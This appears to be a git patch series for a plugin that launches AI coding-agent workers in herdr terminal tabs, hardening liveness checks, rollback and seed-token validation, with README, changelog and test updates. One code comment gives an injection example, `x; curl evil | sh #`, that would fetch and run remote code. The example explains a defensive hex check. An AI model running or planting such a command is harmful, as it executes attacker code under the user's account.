+# meant to stay byte-identical, and its argv cannot self-terminate on a bad seed.
+e = Env({"agent start": (LEGACY_STARTED, "", 0), "pane move": (LEGACY_MOVED, "", 0)},
+        log_argv=True, api="legacy")
+r = e.run("launch", "t", str(e.worktree), "w1", "--codex", "sess1")
+check("legacy native: no liveness probe added",
+      "pane get" not in [n for n, _ in e.calls()])
+check("legacy native: stdout contract unchanged",
+      r.stdout == "pane=w1:p5\ntab=w1:t9\nmoved=yes\nagent=codex:gpt-5.6-terra\n")
+e.close()
+
+
+# ========================================================================== #
+# defensive parsing + sibling-script resolution
+# ========================================================================== #
+
+# A `tab` field of the WRONG SHAPE must cost only that lookup, never the whole
+# parse — an unguarded `.get` on a string would throw the pane id away with it.
+e = Env(modern_cases(**{"tab create": (jsonlib.dumps(
+    {"result": {"root_pane": {"pane_id": "w1:p7"}, "tab": "w1:t7"}}), "", 0)}),
+    api="modern")
+r = e.run("launch", "t", str(e.worktree), "w1")
+check("scalar tab field: still launches", r.returncode == 0)
+check("scalar tab field: both ids survive",
+      kv(r.stdout).get("pane") == "w1:p7" and kv(r.stdout).get("tab") == "w1:t7")
+e.close()
+
+# Invoked by BARE NAME (no slash in $0), sibling helpers must still resolve — a
+# `${0%/*}`-derived path would silently disable rollback and report `unverified`
+# for a tab it never tried to close.
+e = Env(modern_cases(**{"agent start": ("", NO_PANE_ERR, 1)}), log_argv=True, api="modern")
+r = subprocess.run(["bash", SCRIPT.name, "launch", "t", str(e.worktree), "w1"],
+                   env=e.env, cwd=str(HERE), capture_output=True, text=True, timeout=30)
+check("bare-name invocation: rollback still ran", len(e.call_args("tab close")) == 1)
+check("bare-name invocation: reported as a clean failure", r.returncode == 1)
+e.close()
+
+
 if FAILS:
     print("FAIL:")
     for f in FAILS:
diff --git a/plugins/work-system/skills/adopt/SKILL.md b/plugins/work-system/skills/adopt/SKILL.md
index 5c04bb9..9109654 100644
--- a/plugins/work-system/skills/adopt/SKILL.md
+++ b/plugins/work-system/skills/adopt/SKILL.md
@@ -175,16 +175,11 @@ The Bash tool persists CWD between calls — a bare `cd .claude/worktrees/<task>
 
     This is the **same helper and call `/kickoff` uses** — the single source of truth
     for selector resolution, the herdr launch transport, rollback, and exit codes.
-    **Branch on its result exactly as `skills/kickoff/SKILL.md` step 13a describes,
-    in that order** (exit 0 `blocked=unverified` FIRST → a tab exists but the launch is
-    unconfirmed: send the user to inspect it, and do not relaunch, print the manual
-    command, or save a default; then `moved=yes` → new background tab; `moved=no` →
-    running as a split in *this* tab, relay the helper's stderr; the
-    `OFFER_DEFAULT=yes` → `bash "$REG" default set "<agent>"` persistence only after a
-    confirmed launch; exit 2 unknown selector → re-offer the picker; exit 3 unavailable
-    agent → report `unavailable=`/`note=` verbatim, re-offer; other non-zero → relay
-    stderr, then the manual block). Do not re-implement that branching here — following
-    one copy keeps adopt and kickoff from drifting.
+    **Read `skills/kickoff/SKILL.md` step 13a and follow its result branching in the
+    order given there** — every outcome, including the `OFFER_DEFAULT=yes` persistence
+    rule. Do **not** restate that list here: a second prose copy of the launcher's
+    outcome contract is exactly what drifts when the helper grows an outcome, and a
+    stale copy would act on a launch the helper never confirmed.
 
     Success report (adopt keeps the *adopted* branch name — use `<current-branch-name>`,
     which is `task/<task-name>` only if step 8 renamed it):

From 4bc7013e59984410bcdb64e81339c99b023f9e88 Mon Sep 17 00:00:00 2001
From: Robert Gering <mail@robertgering.de>
Date: Wed, 12 Aug 2026 11:32:14 +0200
Subject: [PATCH 09/12] Fix what the first fix round introduced
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Second swarm round, all findings new — eight of them consequences of
round one's own edits:

- the legacy liveness check now reads the pane LIST and returns a
  tri-state: `gone` is a definitive seed failure, but an unreadable herdr
  is `blocked=unverified`, not death. Round one wrote "treat this as
  inconclusive" in the helper's own contract and then treated it as
  definitive two lines later — which would have sent /kickoff down its
  manual path and invited a second unattended worker onto the worktree
- that check is a real poll now: it stops the moment the pane is gone,
  instead of sleeping the whole window and looking once
- `extract_shell_ready` only says `busy` on a positively parsed answer;
  a renamed process_info field is drift and must degrade to "proceed",
  not hard-fail and roll back every wrapper launch
- the shell-prompt budget goes to ~30s, comparable to what the native
  path gets — a login shell running nvm/sdkman/conda routinely outlasts
  the old 10s, and here a still-busy shell is a hard failure
- the seed token is validated as plain hex before being spliced into the
  pane command; an inherited hostile value would otherwise execute in the
  worktree under the user's own account
- the token's env var NAME comes from the registry (`herdr_marker_env=`)
  like the marker itself, so a rename can't leave the wrapper printing
  `:none` while the launcher greps for a nonce
- a marker rollback now relays the pane's visible tail first, since
  closing the tab destroys the worker's own error message
- README, the registry's printed usage header and the knowledge index all
  still described the pre-fix kimi wrapper

Verified live on herdr 0.8: a --kimi launch still comes up, and a
hostile `WORK_SYSTEM_HERDR_SEED_TOKEN` is dropped without executing.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AurDZwFXYtjzi5BUcMaxaW
---
 .claude/knowledge/_index.md                   |   2 +-
 plugins/work-system/README.md                 |  18 ++--
 plugins/work-system/scripts/agent-registry.sh |  30 ++++--
 plugins/work-system/scripts/herdr-launch.sh   | 101 +++++++++++++++---
 .../work-system/scripts/test_herdr_launch.py  |  18 +++-
 5 files changed, 136 insertions(+), 33 deletions(-)

diff --git a/.claude/knowledge/_index.md b/.claude/knowledge/_index.md
index 30ad4f7..311ca92 100644
--- a/.claude/knowledge/_index.md
+++ b/.claude/knowledge/_index.md
@@ -12,7 +12,7 @@
 ## Features
 - `features/backfill-and-origin-metadata.md` — `/backfill-knowledge` significance bar + origin-reconstruction cascade
 - `features/statusline-integration.md` — Status-line segments: plugins can't own `statusLine.command`; marker-block injection; the `[ks …]` + `[ws …]` two-segment coexistence and ws's never-block-on-network PR cache
-- `features/herdr-kickoff-automation.md` — herdr `herdr-launch.sh`: `launch` (`/kickoff` + `/adopt`) + `resume` (`/continue <task>` reopens an `/exit`-closed tab)
+- `features/herdr-kickoff-automation.md` — herdr `herdr-launch.sh`: `launch` (`/kickoff` + `/adopt`) + `resume` (`/continue <task>` reopens an `/exit`-closed tab); feature-detected dual contract (legacy placement vs 0.7.5+ `agent start --kind --pane` into a pre-created tab), registry-declared transport, bounded busy-retry, rollback vs `blocked=unverified`, nonce-salted seed marker
 - `features/lane-registry.md` — `lanes.sh` + `herdr-agent.sh` (Wave 1): the one herdr-agent wrapper (degrade-not-block, bounded wait) + centralized `$HERDR_MATCH_PRELUDE` cwd↔worktree match (consumed by herdr-tab-glyph, regression-guarded via live snapshot); lanes.sh joins states+liveness keyed by worktree_path with a worktree-tab-state degrade tri-state; env test-seams for hermetic join tests
 - `features/herdr-close-automation.md` — `/close` in herdr: cwd-tab teardown, plugin SessionEnd hook, the one TUI-exit primitive, detached self-exit onto idle
 - `features/herdr-tab-glyphs.md` — Task-state glyphs (`○ ● ◇ ◆ ✓`) + main-root `◉` on herdr tab labels: `states` mode in the self-contained renderer, sync-vs-`--cached` PR refresh per caller, exact-cwd rename rules, soft pr-flow shim
diff --git a/plugins/work-system/README.md b/plugins/work-system/README.md
index 9c4546d..8687660 100644
--- a/plugins/work-system/README.md
+++ b/plugins/work-system/README.md
@@ -214,12 +214,18 @@ task guidance.
 
 **kimi launches in two phases.** It has no positional launch prompt, and its
 one-shot `-p` flag can't be combined with the autonomous `--auto`/`-y` modes — so
-the worker is `sh -c 'kimi -m "$1" -p "$2" || <report+wait>; exec kimi -c --auto' …`:
-the `-p` seed
-works the task through once (it runs tools unattended), then `exec` hands over to
-the interactive autonomous session, which inherits the seed's full history. So
-unlike the other workers, a kimi tab has already made progress by the time you
-switch to it.
+the worker is `sh -c 'if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else
+<marker + exit>; fi' …`: the `-p` seed works the task through once (it runs tools
+unattended), then `exec` hands over to the interactive autonomous session, which
+inherits the seed's full history. So unlike the other workers, a kimi tab has
+already made progress by the time you switch to it.
+
+If that seed **fails** (expired auth, an unconfigured model), phase 2 is not
+reached at all: the wrapper prints a machine-readable marker, says TASK.md was not
+started, and exits with the seed's own code. An empty `kimi -c --auto` session
+would look like a healthy worker to both you and herdr's detection, which is worse
+than no tab. `/kickoff` then reports the launch as failed and removes the tab it
+had created, relaying the pane's last lines so you still see kimi's own error.
 
 **What that costs you, stated plainly.** Both kimi phases run *without
 tool-approval prompts* — the seed by construction (`-p` cannot be combined with
diff --git a/plugins/work-system/scripts/agent-registry.sh b/plugins/work-system/scripts/agent-registry.sh
index 02d0e60..8f83b94 100755
--- a/plugins/work-system/scripts/agent-registry.sh
+++ b/plugins/work-system/scripts/agent-registry.sh
@@ -53,7 +53,10 @@
 #                           exact pane. `herdr_marker=` is the ASCII token such a
 #                           wrapper prints when its seed phase fails, so the
 #                           launcher can tell a definitive failure from "still
-#                           starting" instead of guessing.
+#                           starting" instead of guessing; `herdr_marker_env=`
+#                           names the variable the launcher passes its per-launch
+#                           token in (the pane's text is worker-controlled, so an
+#                           unsalted marker would be forgeable).
 # The pair is generic on purpose: a future dynamically-registered wrapper (e.g. a
 # cc-harness agent that ends up as an interactive `claude`) declares
 # `pane-run` + `herdr_kind=claude` without any launcher change. An entry whose
@@ -67,9 +70,11 @@
 #   answer — so `-p` alone cannot be a worker. It does run tools unattended, and
 #   `kimi -c` inherits its full session history, so: phase 1 seeds+works the task
 #   one-shot, phase 2 `exec`s into the interactive autonomous session with that
-#   history. The `exec` matters — it re-roots the herdr pane at kimi, and `;` (not
-#   `&&`) keeps phase 2 alive if the seed fails, leaving a usable tab instead of a
-#   dead one. Values travel as "$1"/"$2" positionals, never interpolated into the
+#   history. The `exec` matters — it re-roots the herdr pane at kimi. Phase 2 is
+#   reached ONLY on a successful seed: a failed one prints the machine-readable
+#   marker and exits with the seed's own code, because an empty `kimi -c --auto`
+#   session that never read TASK.md is indistinguishable from a healthy worker (see
+#   KIMI_LAUNCH_SCRIPT). Values travel as "$1"/"$2" positionals, never interpolated into the
 #   script text: `-p` swallows the next token as its value, so an argv built by
 #   concatenation is one reordering away from silently eating a flag.
 #
@@ -139,6 +144,12 @@ BOOTSTRAP_PROMPT='Read TASK.md in this worktree and continue the task. Commit on
 #      paste) prints `:none`, which no launcher is waiting for.
 SEED_FAIL_MARKER='WORKER_SEED_FAILED'
 SEED_MARKER_HEAD="${SEED_FAIL_MARKER%_FAILED}"
+# The environment variable the launcher passes that token in. Emitted as
+# `herdr_marker_env=` so the NAME lives in one place: it is one half of a contract
+# whose other half is the wrapper script below, and a rename that touched only this
+# file would leave the wrapper printing `:none` while the launcher greps for a
+# nonce — silently disabling seed-failure rollback, with every test still green.
+SEED_TOKEN_ENV='WORK_SYSTEM_SEED_TOKEN'
 
 # kimi's two-phase launch script (see the header). Defined once here so the shape
 # has exactly one home; emit_argv passes it as the `sh -c` word.
@@ -156,12 +167,13 @@ SEED_MARKER_HEAD="${SEED_FAIL_MARKER%_FAILED}"
 # tab's ROOT process: a failed seed now ends that process, so herdr closes the tab.
 # Accepted deliberately — a closed tab is honest, whereas the empty session it
 # replaces was actively misleading. On modern herdr the wrapper runs inside a shell
-# pane, so the marker and the error stay on screen and the launcher rolls the tab
-# back itself.
+# pane, so the marker and the error land on screen — and since the launcher then
+# rolls that tab back, it copies the pane's visible tail into its own diagnostic
+# first, or the rollback would take the only explanation with it.
 # Kept ASCII-only and free of backslash escapes so `shell_quote` renders it as a
 # plain single-quoted word in `argv_shell=` — a `$'…'` form would be bash/zsh-only
 # and near-unreadable in the copy-paste block.
-KIMI_LAUNCH_SCRIPT='if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; m='"$SEED_MARKER_HEAD"'; echo; echo "[work-system] ${m}_FAILED:${WORK_SYSTEM_SEED_TOKEN:-none}: kimi seed exited $rc - TASK.md was NOT started and no session was opened."; exit $rc; fi'
+KIMI_LAUNCH_SCRIPT='if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; m='"$SEED_MARKER_HEAD"'; echo; echo "[work-system] ${m}_FAILED:${'"$SEED_TOKEN_ENV"':-none}: kimi seed exited $rc - TASK.md was NOT started and no session was opened."; exit $rc; fi'
 
 # ---------- registry ----------
 # `flag|cli|model|supports|herdr_mode|herdr_kind`. flag `-` = no shorthand
@@ -467,7 +479,9 @@ subcmd_resolve() {
   printf 'herdr_mode=%s\n' "$mode"
   printf 'herdr_kind=%s\n' "$kind"
   # Only wrappers can fail their seed phase, so only they carry the marker.
-  [ "$mode" = pane-run ] && printf 'herdr_marker=%s\n' "$SEED_FAIL_MARKER"
+  # A wrapper's seed-failure marker AND the env var its token arrives in — both
+  # halves of that contract come from here, so a consumer never hardcodes either.
+  [ "$mode" = pane-run ] && printf 'herdr_marker=%s\nherdr_marker_env=%s\n' "$SEED_FAIL_MARKER" "$SEED_TOKEN_ENV"
   [ -n "$note" ] && printf 'note=%s\n' "$note"
   emit_argv "$cli" "$model" "$session"
 
diff --git a/plugins/work-system/scripts/herdr-launch.sh b/plugins/work-system/scripts/herdr-launch.sh
index fb23cef..cd130f9 100755
--- a/plugins/work-system/scripts/herdr-launch.sh
+++ b/plugins/work-system/scripts/herdr-launch.sh
@@ -223,7 +223,11 @@ detect_launch_api() {
 # Bounds for the modern path. All overridable so tests stay hermetic and fast.
 START_TIMEOUT_MS="${WORK_SYSTEM_HERDR_START_TIMEOUT_MS:-30000}"  # herdr's own readiness wait
 BUSY_TRIES="${WORK_SYSTEM_HERDR_BUSY_TRIES:-20}"                 # agent_pane_busy retries
-READY_TRIES="${WORK_SYSTEM_HERDR_READY_TRIES:-20}"               # shell-prompt wait (pane-run)
+# The shell-prompt wait (pane-run) has to cover a real login shell's rc files —
+# nvm/sdkman/conda/direnv+sops routinely run 10-20s — because a still-busy shell at
+# the end of the window is a hard failure here. Budgeted to ~30s so it is comparable
+# to what the native path effectively gets (herdr's own --timeout 30000 per try).
+READY_TRIES="${WORK_SYSTEM_HERDR_READY_TRIES:-60}"               # shell-prompt wait (pane-run)
 DETECT_TRIES="${WORK_SYSTEM_HERDR_DETECT_TRIES:-60}"             # wrapper detection polls
 RETRY_DELAY="${WORK_SYSTEM_HERDR_RETRY_DELAY:-0.5}"              # seconds between polls
 # Legacy path only: how long to let a wrapper worker prove it did not die on the
@@ -251,11 +255,19 @@ except Exception:
 #   text sent then can be eaten. `unknown` when the answer cannot be read at all
 #   (older herdr without process-info), which the caller degrades on rather than
 #   blocking a launch forever.
+#   `busy` is only ever printed on a POSITIVELY parsed answer — both ids present
+#   and different. A missing/renamed field is schema drift, not a busy shell, and
+#   must read as `unknown` (→ the caller waits out its window and proceeds); mapping
+#   drift to `busy` would hard-fail and roll back every wrapper launch the day herdr
+#   renames a key.
 extract_shell_ready='import sys, json
 try:
     pi = json.load(sys.stdin)["result"]["process_info"]
     fg, shell = pi.get("foreground_process_group_id"), pi.get("shell_pid")
-    print("ready" if (fg is not None and fg == shell) else "busy")
+    if fg is None or shell is None:
+        print("unknown")
+    else:
+        print("ready" if fg == shell else "busy")
 except Exception:
     print("unknown")'
 extract_moved_tab='import sys, json
@@ -451,14 +463,32 @@ pane_agent_kind() {
   run_bounded 10 herdr pane get "$1" 2>/dev/null | python3 -c "$extract_pane_agent" 2>/dev/null || true
 }
 
-# pane_alive <pane> — does the pane still exist? Used on the LEGACY path, where a
+# pane_state <pane> → present | gone | unverified. Used on the LEGACY path, where a
 # wrapper worker IS the tab's root process: if its seed dies, the pane (and with it
 # the tab) is gone, and reporting `moved=yes` would point the user at a tab that no
-# longer exists. Non-zero when herdr cannot see the pane; also non-zero when herdr
-# cannot be reached at all, so the caller must treat "not alive" as inconclusive
-# unless it has another reason to believe the pane died.
-pane_alive() {
-  run_bounded 10 herdr pane get "$1" >/dev/null 2>&1
+# longer exists.
+#
+# TRI-state on purpose. "`herdr pane get` failed" conflates two opposite facts — the
+# pane is gone, or herdr just couldn't answer — and acting on the first when it was
+# the second declares a healthy worker dead, which sends the caller down its manual
+# path and invites a SECOND unattended worker onto the same worktree. So the check
+# reads the pane LIST instead: a populated list is evidence (present or genuinely
+# absent); an empty/failed/unparsable one is `unverified` and must never be reported
+# as death. Same shape, and same reasoning, as herdr-teardown.sh's tab lookups.
+extract_pane_present='import sys, json
+pid = sys.argv[1] if len(sys.argv) > 1 else ""
+try:
+    panes = json.load(sys.stdin)["result"]["panes"]
+except Exception:
+    print("unverified"); sys.exit(0)
+if not pid or not panes:
+    print("unverified"); sys.exit(0)
+print("present" if any(p.get("pane_id") == pid for p in panes) else "gone")'
+pane_state() {
+  local json
+  json="$(run_bounded 10 herdr pane list 2>/dev/null || true)"
+  [ -n "$json" ] || { printf 'unverified\n'; return 0; }
+  printf '%s' "$json" | python3 -c "$extract_pane_present" "$1" 2>/dev/null || printf 'unverified\n'
 }
 
 # pane_has_marker <pane> <token> — is the wrapper's seed-failure marker on screen?
@@ -527,6 +557,7 @@ case "$mode" in
     herdr_mode="agent-start"
     herdr_kind="claude"
     herdr_marker=""
+    herdr_marker_env=""
     if [ -z "$selector" ]; then
       # Plugin-qualified: a CC built-in/alias `/continue` shadows the skill.
       worker_argv=(claude -n "$session" "/work-system:continue")
@@ -552,7 +583,8 @@ case "$mode" in
           note=*)         note="${line#note=}" ;;
           herdr_mode=*)   herdr_mode="${line#herdr_mode=}" ;;
           herdr_kind=*)   herdr_kind="${line#herdr_kind=}" ;;
-          herdr_marker=*) herdr_marker="${line#herdr_marker=}" ;;
+          herdr_marker=*)     herdr_marker="${line#herdr_marker=}" ;;
+          herdr_marker_env=*) herdr_marker_env="${line#herdr_marker_env=}" ;;
         esac
       done <<EOF_RESOLVE
 $resolve_out
@@ -624,14 +656,32 @@ EOF_RESOLVE
         # this legacy contract is meant to stay byte-identical for them.
         if [ "$herdr_mode" = pane-run ]; then
           i=0
+          alive_state=unverified
           while [ "$i" -lt "$WRAPPER_ALIVE_TRIES" ]; do
             sleep "$RETRY_DELAY" 2>/dev/null || true
+            alive_state="$(pane_state "$pane")"
+            # `gone` is the answer we are watching for and it cannot un-happen, so
+            # stop at once. `present` keeps watching: the seed can still die inside
+            # the window, and only the LAST reading of a surviving pane is the one
+            # worth reporting.
+            [ "$alive_state" = gone ] && break
             i=$((i + 1))
           done
-          if ! pane_alive "$pane"; then
-            echo "the $agent_name worker exited immediately in pane $pane, so herdr closed its tab — the seed phase failed and TASK.md was not started (run the worker by hand to see its error)" >&2
-            exit 1
-          fi
+          case "$alive_state" in
+            gone)
+              echo "the $agent_name worker exited immediately in pane $pane, so herdr closed its tab — the seed phase failed and TASK.md was not started (run the worker by hand to see its error)" >&2
+              exit 1
+              ;;
+            unverified)
+              # herdr could not be read, so we do NOT know whether the worker is
+              # alive. Reporting a launch would be a guess; reporting a failure
+              # would send the caller down its manual path and risk a SECOND worker
+              # on this worktree. Fail closed instead: the tab exists, go look.
+              echo "could not verify whether the $agent_name worker is still running in pane $pane (herdr did not answer) — check the tab before launching anything else" >&2
+              emit_unverified
+              exit 0
+              ;;
+          esac
         fi
         printf 'pane=%s\ntab=%s\nmoved=yes\nagent=%s\n' "$pane" "$tab" "$agent_name"
       else
@@ -775,11 +825,23 @@ EOF_RESOLVE
     # ($WORK_SYSTEM_HERDR_SEED_TOKEN pins it for tests — a stubbed pane can only
     # echo a marker the test already knows. Never set it in real use.)
     seed_token="${WORK_SYSTEM_HERDR_SEED_TOKEN:-$(python3 -c 'import secrets; print(secrets.token_hex(8))' 2>/dev/null || true)}"
+    # The token is spliced UNQUOTED into a command string that a shell will execute,
+    # so it must be exactly what we think it is. `secrets.token_hex` always is —
+    # but the test override reads the ambient environment, and an inherited
+    # `…='x; curl evil | sh #'` would otherwise run in the worktree under the user's
+    # own account. Anything that is not plain lowercase hex is dropped (→ no marker
+    # detection), never sanitized into something "close enough".
+    case "$seed_token" in
+      ''|*[!0-9a-f]*) seed_token="" ;;
+    esac
     seed_marker_match=""
     run_cmd="$argv_shell"
-    if [ -n "$herdr_marker" ] && [ -n "$seed_token" ]; then
+    if [ -n "$herdr_marker" ] && [ -n "$herdr_marker_env" ] && [ -n "$seed_token" ]; then
       seed_marker_match="$herdr_marker:$seed_token"
-      run_cmd="WORK_SYSTEM_SEED_TOKEN=$seed_token $argv_shell"
+      # The env var NAME comes from the registry alongside the marker: both halves
+      # of this contract are declared in one place, so a rename there cannot leave
+      # the wrapper printing `:none` while the launcher greps for a nonce.
+      run_cmd="$herdr_marker_env=$seed_token $argv_shell"
     fi
     run_rc=0
     run_err="$(mktemp)"
@@ -818,6 +880,15 @@ EOF_RESOLVE
     i=0
     while [ "$i" -lt "$DETECT_TRIES" ]; do
       if [ -n "$seed_marker_match" ] && pane_has_marker "$pane" "$seed_marker_match"; then
+        # Rolling the tab back also destroys the pane holding the WORKER'S OWN error
+        # (expired auth, an unconfigured model — the thing the user actually needs).
+        # So salvage the visible text first and relay it: without this the user is
+        # told the seed failed and given no way left to find out why.
+        seed_out="$(run_bounded 10 herdr pane read "$pane" --source visible --lines 40 --format text 2>/dev/null \
+          | tr -dc '[:print:]\t\n' | tail -20 || true)"
+        if [ -n "$seed_out" ]; then
+          printf 'the failing pane said:\n%s\n' "$seed_out" >&2
+        fi
         fail_definitive "the $agent_name worker's seed phase failed in pane $pane (marker: $herdr_marker) — TASK.md was not started"
       fi
       detected="$(pane_agent_kind "$pane")"
diff --git a/plugins/work-system/scripts/test_herdr_launch.py b/plugins/work-system/scripts/test_herdr_launch.py
index 0b31f3a..405b4c2 100644
--- a/plugins/work-system/scripts/test_herdr_launch.py
+++ b/plugins/work-system/scripts/test_herdr_launch.py
@@ -810,8 +810,7 @@ def kimi_run(cases, log_argv=True):
 # once takes the pane — and the tab — with it. Reporting moved=yes then points the
 # user at a tab that no longer exists.
 e = Env({"agent start": (LEGACY_STARTED, "", 0), "pane move": (LEGACY_MOVED, "", 0),
-         "pane get": ("", jsonlib.dumps(
-             {"error": {"code": "pane_not_found", "message": "no such pane"}}), 1)},
+         "pane list": (PANE_LIST_GONE, "", 0)},   # populated, but w1:p5 is not in it
         log_argv=True, api="legacy")
 r = e.run("launch", "t", str(e.worktree), "w1", "--kimi", "sess1")
 check("legacy wrapper died: exit 1", r.returncode == 1)
@@ -821,12 +820,25 @@ def kimi_run(cases, log_argv=True):
 
 # ...and a wrapper that IS alive keeps the unchanged legacy success contract.
 e = Env({"agent start": (LEGACY_STARTED, "", 0), "pane move": (LEGACY_MOVED, "", 0),
-         "pane get": (pane_get("kimi"), "", 0)}, log_argv=True, api="legacy")
+         "pane list": (jsonlib.dumps({"result": {"panes": [
+             {"pane_id": "w1:p5", "tab_id": "w1:t9", "cwd": "/nowhere"}]}}), "", 0)},
+        log_argv=True, api="legacy")
 r = e.run("launch", "t", str(e.worktree), "w1", "--kimi", "sess1")
 check("legacy wrapper alive: stdout contract unchanged",
       r.stdout == "pane=w1:p5\ntab=w1:t9\nmoved=yes\nagent=kimi:kimi-code/k3-256k\n")
 e.close()
 
+# An UNREADABLE herdr is not evidence of death. Calling it one would send the
+# caller down its manual path and invite a SECOND unattended worker onto the same
+# worktree — the exact hazard blocked=unverified exists to prevent.
+e = Env({"agent start": (LEGACY_STARTED, "", 0), "pane move": (LEGACY_MOVED, "", 0),
+         "pane list": ("", "socket closed", 1)}, log_argv=True, api="legacy")
+r = e.run("launch", "t", str(e.worktree), "w1", "--kimi", "sess1")
+check("legacy wrapper unverifiable: exit 0 with blocked=unverified",
+      r.returncode == 0 and r.stdout.startswith("blocked=unverified\n"))
+check("legacy wrapper unverifiable: never claims the seed failed",
+      "seed phase failed" not in r.stderr)
+
 # A NATIVE legacy launch must not pay for that check at all — its contract is
 # meant to stay byte-identical, and its argv cannot self-terminate on a bad seed.
 e = Env({"agent start": (LEGACY_STARTED, "", 0), "pane move": (LEGACY_MOVED, "", 0)},

From 1e4a18249c80816f6d9566b2b3121fc749b56e4c Mon Sep 17 00:00:00 2001
From: Robert Gering <mail@robertgering.de>
Date: Wed, 12 Aug 2026 12:09:16 +0200
Subject: [PATCH 10/12] Stop reading terminal text to decide if a worker died
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Third swarm round. The seed-failure marker had now been patched twice
and was still both forgeable and unreliable: the per-launch nonce that
salted it has to be handed to the very process it supervises (so the
worker can print its own death certificate), and a rendered pane
snapshot is width-wrapped, so in a narrow pane the match silently misses
anyway. Terminal text cannot be a supervisor's signal.

Process state replaces it — and the first attempt at that was wrong too,
which a live measurement caught: the busy→ready transition is never
observable, because a seed that fails on startup is gone before the
first poll. The steady state is what works. A pane back at its own shell
prompt, with no worker detected, for IDLE_STREAK consecutive polls means
nothing is running there. Live: a dead wrapper now fails in ~5s with its
tab rolled back, a healthy one is confirmed in ~2s.

That removes the nonce, the env hand-off, the pane reads, and the relay
of worker-controlled text into the manager's context. Also this round:

- a tab created but never identified no longer reports as cleanly rolled
  back — it would have left a blank tab open while the caller told the
  user everything was undone
- the capability probe no longer merges stderr into its command
  substitution, which handed the capture pipe to the child and defeated
  run_bounded's whole hang guard
- every poll loop carries a wall-clock deadline, so "60 tries" cannot
  mean twenty minutes against a wedged herdr
- `case` replaces four printf|grep pipelines in the probe
- the README scopes kimi seed-failure recovery per herdr version, and
  lib-bounded.sh names the two bounded-runner copies still outstanding

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AurDZwFXYtjzi5BUcMaxaW
---
 CHANGELOG.md                                  |   6 +-
 plugins/work-system/README.md                 |   8 +-
 plugins/work-system/scripts/agent-registry.sh |  56 ++----
 plugins/work-system/scripts/herdr-launch.sh   | 188 ++++++++++--------
 plugins/work-system/scripts/lib-bounded.sh    |   7 +
 .../scripts/test_agent_registry.py            |  15 +-
 .../work-system/scripts/test_herdr_launch.py  | 111 +++++------
 7 files changed, 202 insertions(+), 189 deletions(-)

diff --git a/CHANGELOG.md b/CHANGELOG.md
index eba5def..97ba1c0 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -55,11 +55,11 @@ entries are grouped per plugin, newest first.
 ### 1.11.1 — 2026-08-12
 - Fix automated `/kickoff` and `/adopt` worker launches under **herdr 0.7.5+ (incl. 0.8)**, which failed with `herdr error: unknown option: --workspace` → "did not return a pane id". `agent start` no longer places the agent; it starts one in an **already-open pane** (`agent start <name> --kind <kind> --pane <id> [-- <args>]`), with placement moved to a preceding `tab create`. The launcher now creates the task's final tab first and starts the worker in its root pane.
 - The contract is **feature-detected** from `herdr agent start --help` (read-only, bounded) rather than compared against a version — 0.7.x spans both contracts, so a version check would route half of it wrong. herdr 0.7.0–0.7.4 keeps its exact previous sequence, diagnostics and stdout contract; an unrecognizable `agent start` fails before creating a tab or starting anything.
-- `agent-registry.sh resolve` now declares the transport per entry: `herdr_mode=agent-start` + `herdr_kind` for claude/codex/grok (argv[0] must equal the kind, is dropped, and every remaining argument keeps its order and boundaries), `herdr_mode=pane-run` + `herdr_marker=` for kimi's two-phase wrapper. Unknown transport metadata fails closed before anything is created. The metadata is generic so a dynamically-registered wrapper entry needs no launcher change.
+- `agent-registry.sh resolve` now declares the transport per entry: `herdr_mode=agent-start` + `herdr_kind` for claude/codex/grok (argv[0] must equal the kind, is dropped, and every remaining argument keeps its order and boundaries), `herdr_mode=pane-run` for kimi's two-phase wrapper, which no native kind can express. Unknown transport metadata fails closed before anything is created. The metadata is generic so a dynamically-registered wrapper entry needs no launcher change.
 - `agent_pane_busy` — herdr's rejection while the new pane's login shell is still running its rc files — is retried within a bounded window, and no other error is ever retried. Wrapper workers get a `pane process-info`-based shell-prompt wait before their command is typed, then are confirmed by polling until herdr detects the expected kind in that exact pane.
 - New fail-closed launch result `blocked=unverified` (exit 0, `blocked` first): a tab exists and a worker may be running, but the launch could not be confirmed (readiness timeout, unclassifiable herdr error, pane-id mismatch, wrong detected kind, or an unconfirmed rollback). `/kickoff` and `/adopt` branch on it **before** `moved=`, send you to inspect that tab, and must not relaunch, print the manual worker command, or persist a project default. Failures that provably started nothing roll their tab back exactly once instead.
-- A failed kimi seed is now a hard stop: it prints a machine-readable marker, states TASK.md was not started, and exits with the seed's own code — no keypress wait and no empty `kimi -c --auto` session that looks like a healthy worker. The launcher treats that marker as a definitive failure and rolls the tab back, but only when it carries **this launch's random seed token**: a pane's contents are worker-controlled (it echoes the command it was given, and the seed reads repository files — this repo's own TASK.md, CHANGELOG and tests all name the marker), so a bare constant would tear down healthy workers. Found live in 0.8 testing, where the echoed command alone rolled a *healthy* launch back after two seconds.
-- The marker is checked before the kind match in every poll, since herdr detects the wrapper's CLI within seconds of the seed starting and both signals can be true at once. What it catches, stated plainly: a seed that dies **before** the launch is confirmed (expired auth, an unconfigured model). A seed that fails minutes later cannot be caught at launch time — the seed phase *is* the task work — and is an ordinary worker crash, not a bad launch.
+- A failed kimi seed is now a hard stop: it prints a marker, states TASK.md was not started, and exits with the seed's own code — no keypress wait and no empty `kimi -c --auto` session that looks like a healthy worker. That marker is for the **human** who opens the tab; the launcher does not grep it. Terminal text cannot carry a supervisor's signal: the pane echoes the command it was given (which rolled a *healthy* launch back in live 0.8 testing), the seed reads repository files that legitimately name the marker, salting it with a per-launch nonce means handing that nonce to the very process being supervised, and a rendered snapshot is width-wrapped. 
+- A dead wrapper is detected from **process state** instead: a pane sitting at its own shell prompt, with no worker detected, for several consecutive polls means nothing is running there — whether the seed died or its keystrokes never landed. Measured live: the busy→ready *transition* is not usable (a seed that fails on startup is gone before the first poll), the steady state is. A failed launch is reported in ~5s and its tab rolled back; a healthy one is confirmed in ~2s. What this cannot catch is a seed that fails minutes later — the seed phase *is* the task work — and that is an ordinary worker crash, not a bad launch.
